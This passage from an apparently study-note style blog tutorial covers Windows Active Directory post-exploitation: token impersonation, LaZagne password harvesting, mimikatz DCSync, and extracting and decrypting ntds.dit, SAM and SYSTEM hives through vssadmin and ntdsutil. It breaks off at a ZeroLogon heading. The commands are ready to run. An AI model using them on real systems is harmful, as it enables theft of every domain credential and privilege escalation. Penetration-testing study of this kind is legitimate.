system until it is restarted.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The defining feature of a token is that it is random and unpredictable, so neither an attacker nor software can guess it. By impersonating a token, you can act as another user on the network and perform various operations. When an attacker needs domain administrator privileges, they therefore need to impersonate a domain administrator&amp;rsquo;s token.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;II. Types of Tokens&lt;/p&gt;&#10;&lt;p&gt;Access Token: a system object representing the subject of an access-control operation.&lt;/p&gt;&#10;&lt;p&gt;Session Token: the unique identity identifier in an interactive session.&lt;/p&gt;&#10;&lt;p&gt;Security Token: also known as an authentication token or hardware token, this is a physical device used to verify identity on a computer, such as a USB security key.&lt;/p&gt;&#10;&lt;p&gt;Windows AccessToken has two types:&lt;/p&gt;&#10;&lt;p&gt;Delegation Token: an authorization token that supports interactive session logons, such as a local user logging on directly or accessing the system through Remote Desktop.&lt;/p&gt;&#10;&lt;p&gt;Impersonation Token: an impersonation token used for non-interactive sessions, such as accessing a shared folder with net use.&lt;/p&gt;&#10;&lt;p&gt;Note: Both types of token are cleared only after a system restart. When a user with a Delegation token logs off, that Token becomes an Impersonation token and remains valid. Another way to think about it is that the system resources a process or thread can access depend on the privileges of its current token.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;At first, I didn&amp;rsquo;t understand why a token was necessary when I already had domain admin privileges. I found this explanation very helpful.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;The privileges we get through an exploit, EternalBlue, or similar methods are System privileges. If mimikatz and hashdump cannot recover the administrator user&amp;rsquo;s password, our only option is to steal a token and step down into the administrator user&amp;rsquo;s context. That gives us the administrator user&amp;rsquo;s shell, from which we can start certain services as that user (some services can only be started by the administrator user).&lt;/p&gt;&#10;&lt;p&gt;The important point is that System is already the highest privilege level, but some services still need to be started by administrator. We need the administrator shell, yet we do not have the password, so we use a token to step down. That is one scenario where this comes in handy.&lt;/p&gt;&#10;&lt;p&gt;You can also assume that the target server probably will not be restarted, since tokens are cleared only on restart.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;I haven&amp;rsquo;t managed to download and find the program online yet, so I&amp;rsquo;ll list the commands first. Other tools can replace it as well.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Method 1: incognito.exe&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Common commands:&lt;/p&gt;&#10;&lt;p&gt;List tokens: &lt;code&gt;incognito.exe list_tokens -u&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Because we do not have system privileges here, the listed tokens are very limited. Let&amp;rsquo;s switch to system privileges and take another look.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Steal a token: &lt;code&gt;incognito.exe execute -c &amp;quot;SUN\administrator&amp;quot; cmd.exe&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;incognito.exe execute [options] &amp;lt;token&amp;gt; &amp;lt;command&amp;gt;&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Method 2&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1" target="_blank" rel="noopener"&#10; &gt;https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Its principles and features are similar to incognito, and it can actually elevate or lower privileges.&lt;/p&gt;&#10;&lt;p&gt;List tokens: &lt;code&gt;Invoke-TokenManipulation -Enumerate&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Elevate to system: &lt;code&gt;Invoke-TokenManipulation -CreateProcess &amp;quot;cmd.exe&amp;quot; -Username &amp;quot;nt authority\system&amp;quot;&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Copy a process token: &lt;code&gt;Invoke-TokenManipulation -CreateProcess &amp;quot;cmd.exe&amp;quot; -ProcessId 500&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Copy a thread token: &lt;code&gt;Invoke-TokenManipulation -CreateProcess &amp;quot;cmd.exe&amp;quot; -ThreadId 500&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Method 3&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Open a command prompt with SYSTEM privileges to simulate top-down access&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe -s -i cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View the current token&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Elevate privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate /domainadmin &#9;# Elevate to domain administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate /admin &#9;&#9;&#9;# Elevate to local administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate &#9;&#9;&#9;&#9;&#9;# Elevate to SYSTEM by default&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Restore the token&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::revert&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Restore the token&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="2-lazagneexe"&gt;&lt;a href="#2-lazagneexe" class="header-anchor"&gt;&lt;/a&gt;2. LaZagne.exe&#10;&lt;/h2&gt;&lt;p&gt;This one is incredibly powerful. Unlike most tools, it is not mainly about getting an administrator password; it is more about building a profile of a particular person.&lt;/p&gt;&#10;&lt;p&gt;Types of passwords it can retrieve:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Passwords saved by browsers&lt;/li&gt;&#10;&lt;li&gt;Saved WiFi passwords&lt;/li&gt;&#10;&lt;li&gt;Windows credentials&lt;/li&gt;&#10;&lt;li&gt;Email clients&lt;/li&gt;&#10;&lt;li&gt;Development tool configurations&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lazagne.exe all # Retrieve all passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lazagne.exe browsers # Retrieve browser passwords only&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lazagne.exe wifi # Retrieve Wi-Fi passwords only&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="3-shadow-copies-retrieving-all-hashes-from-a-domain-controller"&gt;&lt;a href="#3-shadow-copies-retrieving-all-hashes-from-a-domain-controller" class="header-anchor"&gt;&lt;/a&gt;3. Shadow Copies (Retrieving All Hashes from a Domain Controller)&#10;&lt;/h2&gt;&lt;p&gt;So what exactly is ntds.dit?&lt;/p&gt;&#10;&lt;p&gt;Ntds.dit is a binary file found on domain controllers in a domain environment. It is the primary Active Directory database, located at &lt;code&gt;%SystemRoot%\ntds\ntds.dit&lt;/code&gt; on the domain controller. Active Directory keeps this file open, so it cannot normally be read. Ntds.dit contains information including, but not limited to, domain users, groups, group memberships, credentials, and GPP. It holds the password hashes of every user in the domain. For additional protection, those hashes are encrypted with a key stored in the SYSTEM registry hive.&lt;/p&gt;&#10;&lt;p&gt;In a non-domain, or workgroup, environment, user passwords and similar information are stored in the SAM file. Decrypting either a SAM file or Ntds.dit also requires a System file. Like the SAM file, Ntds.dit is locked by Windows by default. These are also files we often need to export when using mimikatz.&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;code&gt;plain ntds.dit file location: C:\Windows\NTDS\NTDS.dit system file location:C:\Windows\System32\config\SYSTEM sam file location:C:\Windows\System32\config\SAM &lt;/code&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;There are several ways to export this file.&lt;/p&gt;&#10;&lt;h4 id="mimikatz-dcsync"&gt;&lt;a href="#mimikatz-dcsync" class="header-anchor"&gt;&lt;/a&gt;mimikatz-dcsync&#10;&lt;/h4&gt;&lt;p&gt;Prerequisite: high privileges&lt;/p&gt;&#10;&lt;p&gt;Mimikatz has a feature called dcsync, which can use the Directory Replication Service (DRS) to extract password hashes from the NTDS.DIT file.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;DCSync is&lt;/strong&gt; a feature added to mimikatz in 2015. It uses this principle to impersonate one domain controller and send a data synchronization request to another through the GetNCChanges interface of the Directory Replication Service (DRS). This can be used to export the hashes of every user in the domain.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;What DCSync really does:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Uses the DRS replication protocol&lt;/li&gt;&#10;&lt;li&gt;Requests the target data directly&lt;/li&gt;&#10;&lt;li&gt;Does not copy the NTDS.dit file&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe lsadump::dcsync /domain:test.local /all /csv &#9;&#9;// Use DCSync to retrieve hashes for all users in the test domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz lsadump::dcsync /domain:test.local /user:admin&#9;&#9;// Retrieve details for a single user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz lsadump::lsa /inject&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::sam # SAM of the current system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::sam /system:system.hiv /sam:sam.hiv # Specify files&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="vssadmin-shadow-copies"&gt;&lt;a href="#vssadmin-shadow-copies" class="header-anchor"&gt;&lt;/a&gt;vssadmin Shadow Copies&#10;&lt;/h4&gt;&lt;p&gt;vssadmin is a command-line management tool for the Volume Shadow Copy Service on Windows. It can create and delete shadow copies, list shadow-copy information, display all installed shadow-copy writers and providers, and change the amount of storage allocated to shadow copies.&lt;/p&gt;&#10;&lt;p&gt;Supported systems: Windows 10, Windows 8.1, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2, Windows Server 2008&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vssadmin create shadow /for=C:&#9;&#9;&#9;&#9;&#9;&#9;&#9;// Create a shadow copy of drive C:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit&#9;&#9;// Copy ntds.dit from the created shadow copy to drive C:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM c:\sam.hiv&#9; // Copy sam.hiv from the created shadow copy to drive C:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;system.hiv is also required&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vssadmin delete shadows /for=c: /quiet&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decrypt ntds.dit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\secretsdump.py -ntds ntds.dit -system system.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decrypt SAM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If an error occurs, you will probably need to run&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip install cryptography==41.0.2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Note that the number in HarddiskVolumeShadowCopy1 changes; use the actual shadow-copy path.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Mimikatz primarily retrieves credentials for logged-on users&lt;/li&gt;&#10;&lt;li&gt;SAM retrieves hashes for local accounts&lt;/li&gt;&#10;&lt;li&gt;NTDS.dit retrieves hashes for the entire domain&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="ntdsutilexe"&gt;&lt;a href="#ntdsutilexe" class="header-anchor"&gt;&lt;/a&gt;ntdsutil.exe&#10;&lt;/h4&gt;&lt;p&gt;Ntdsutil.exe is a command-line tool that provides management facilities for Active Directory. It is installed on domain controllers by default and can be operated directly on a domain controller. It can also be used remotely against a domain controller from another domain-joined machine, though administrator privileges are required. With ntdsutil.exe, you can maintain and manage the Active Directory database, control single-master operations, create application directory partitions, and remove metadata left behind by a domain controller that was successfully demoted with the now-unused Active Directory Installation Wizard (DCPromo.exe), among other tasks.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil snapshot &amp;#34;activate instance ntds&amp;#34; create quit quit // First create a snapshot containing all Windows files; Windows locking does not affect copying from it&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil snapshot &amp;#34;mount {ID}&amp;#34; quit quit&#9; &#9;&#9;// Mount the snapshot just created&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;ntdsutil snapshot &amp;#34;mount {5d42befe-0029-4f76-b6d9-f87329ce8119}&amp;#34; quit quit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy C:\$SNAP_202411192306_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SYSTEM c:\system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SAM c:\sam.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;//Copy the three files from the snapshot to the C drive.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;//Delete the snapshot we just created.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil snapshot &amp;#34;mount {5d42befe-0029-4f76-b6d9-f87329ce8119}&amp;#34; &amp;#34;delete {5d42befe-0029-4f76-b6d9-f87329ce8119}&amp;#34; quit quit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Besides using the approach above to retrieve ntds.dit, you can also use Ntdsutil.exe to create an Install From Media set (IFM) and extract the NTDS.dit file. When ntdsutil creates an IFM set, it automatically generates and mounts a snapshot, then copies ntds.dit and the computer&amp;rsquo;s SAM and SYSTEM files into the target folder. We can take advantage of this process to obtain the NTDS.dit file. Administrator privileges are required.&lt;/p&gt;&#10;&lt;p&gt;Ntdsutil is a command-line utility for working with Active Directory locally, and it enables DCPromo to create IFM sets. IFM is used with DCPromo to &amp;ldquo;install from media,&amp;rdquo; so the server being promoted does not need to replicate domain data over the network from another DC.&lt;/p&gt;&#10;&lt;p&gt;When an IFM is created, a VSS snapshot is automatically taken and mounted, and the NTDS.DIT file and related data are copied into the target folder.&lt;/p&gt;&#10;&lt;p&gt;Run the following commands on the domain controller:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil &amp;#34;activate instance ntds&amp;#34; Ifm &amp;#34;create full C:\ntdsutil&amp;#34; Quit quit&#9;&#9;// Generate files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil &amp;#34;ac i ntds&amp;#34; &amp;#34;ifm&amp;#34; &amp;#34;create full c:\ntdsutil&amp;#34; q q&#9;&#9;&#9;// Short form&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use SYSTEM directly to decrypt it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;secretsdump.py -ntds &amp;#34;Active Directory/ntds.dit&amp;#34; -system registry/SYSTEM LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;secretsdump.py -sam sam.save -system system.save -security security.save LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="exploiting-zerologon-cve-2020-1472"&gt;&lt;a href="#exploiting-zerologon-cve-2020-1472" class="header-anchor"&gt;&lt;/a&gt;Exploiting ZeroLogon (CVE-2020-1472)&#10;&lt;/h2&gt;&lt;p&gt;Affected system versions: all versions after Win2008&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" 